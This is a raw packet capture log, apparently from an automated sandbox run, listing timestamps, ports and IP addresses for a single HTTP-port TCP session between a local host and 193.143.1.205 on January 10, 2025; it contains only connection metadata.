Jan 10, 2025 17:34:57.373579979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.374263048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.374274969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.374288082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.374300003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.374320030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.374342918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.375524044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.375572920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.375699997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.375710964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.375722885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.375735044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.375746965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.375750065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.375773907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.378515005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.383153915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.414314032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.414334059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.414345980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.414449930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.454632044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.454653978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.454668999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.454683065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.454720974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.454742908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.454757929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.454775095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.454797029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.454920053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.454941034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.454953909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.454966068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.454981089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.454981089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.454994917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.455007076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.455018044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.455029964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.455037117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.455043077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.455077887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.455080032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.455095053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.455110073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.455115080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.455147028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.495088100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495107889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495132923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495145082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495158911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495188951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495201111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495218039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495230913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495244026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495245934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.495258093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495270967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495289087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.495289087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.495294094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495307922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495311022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.495332956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495346069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495362043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495363951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.495395899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.495405912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495440006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.495469093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495518923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495531082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495543003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495558023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495558023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.495579004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.495701075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495713949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495728016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495738029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.495738983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495750904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495763063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495769978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.495774031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495788097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495789051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.495800018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495812893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.495820999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495834112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495843887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.495843887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495860100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495883942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.495898008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495910883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495915890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.495923042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.495950937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.496001959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496040106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.496045113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496057034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496074915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496087074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496093988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.496098995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496124983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.496129990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496143103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496154070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496164083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.496166945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496186018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.496190071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496203899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496215105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496226072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496233940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.496237993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496249914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496253967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.496293068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.496454954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496495008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.496499062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496511936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496530056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496546030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.496550083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496565104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496577024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496587992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.496588945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496614933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.496676922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496696949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496709108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.496710062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496740103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.496835947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496855021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496866941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496879101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496887922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.496890068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496902943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496915102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496916056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.496928930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496934891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.496942997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496954918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496965885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.496967077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.496980906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.497004032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.497030020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.497169971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.497181892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.497194052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.497217894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.497256041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.497267962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.497279882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.497291088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.497297049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.497304916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.497317076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.497328043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.497345924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.497406006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.497441053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.497451067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.497462988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.497494936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.497531891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.497545004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.497562885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.497577906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.497591019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.497594118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.497606993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.497617960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.497621059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.497658968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.500910044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.543515921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543538094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543557882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543570995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543582916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543597937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543651104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543658972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.543673038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543694019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543704033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.543706894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543720007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543731928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543742895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543744087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.543766975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543787003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.543791056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543808937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543821096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543829918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.543834925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543848038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543859959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.543859959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543874979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543884993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.543888092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543901920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543908119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.543915033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.543937922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.583564997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.583592892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.583606005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.583617926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.583633900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.583652020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.583663940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.583684921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.583695889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.583693981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.583693981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.583709955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.583729982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.583738089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.583744049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.583756924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.583760977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.583771944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.583801031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.583847046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.583874941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.583889008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.583893061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.583904028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.583930969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.583981037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584019899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584022999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.584032059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584047079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584070921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.584124088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584135056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584146976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584161997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.584194899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.584295034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584306955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584317923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584328890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584341049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584347963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.584352970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584367990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584368944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.584379911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584388018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.584393024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584405899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584417105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584419966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.584429979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584448099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.584472895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.584496975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584507942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584534883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584546089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584546089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.584558010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584568977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584580898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.584580898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584594965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584606886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584619045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.584619999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584633112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584638119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.584662914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.584841013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584852934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584866047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584877014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584878922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.584889889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584902048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584909916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.584917068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584925890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.584928989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584943056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584956884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.584980011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.584983110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.584996939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585009098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585026979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585033894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.585048914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585059881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585071087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.585072041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585097075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585107088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.585108995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585120916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585134029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585139036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.585148096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585154057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.585160971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585172892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585184097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.585207939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.585380077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585391998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585402966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585414886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585427046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.585427046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585441113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585452080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.585455894 CET	80	49730	193.143.1.205	192.168.2.4
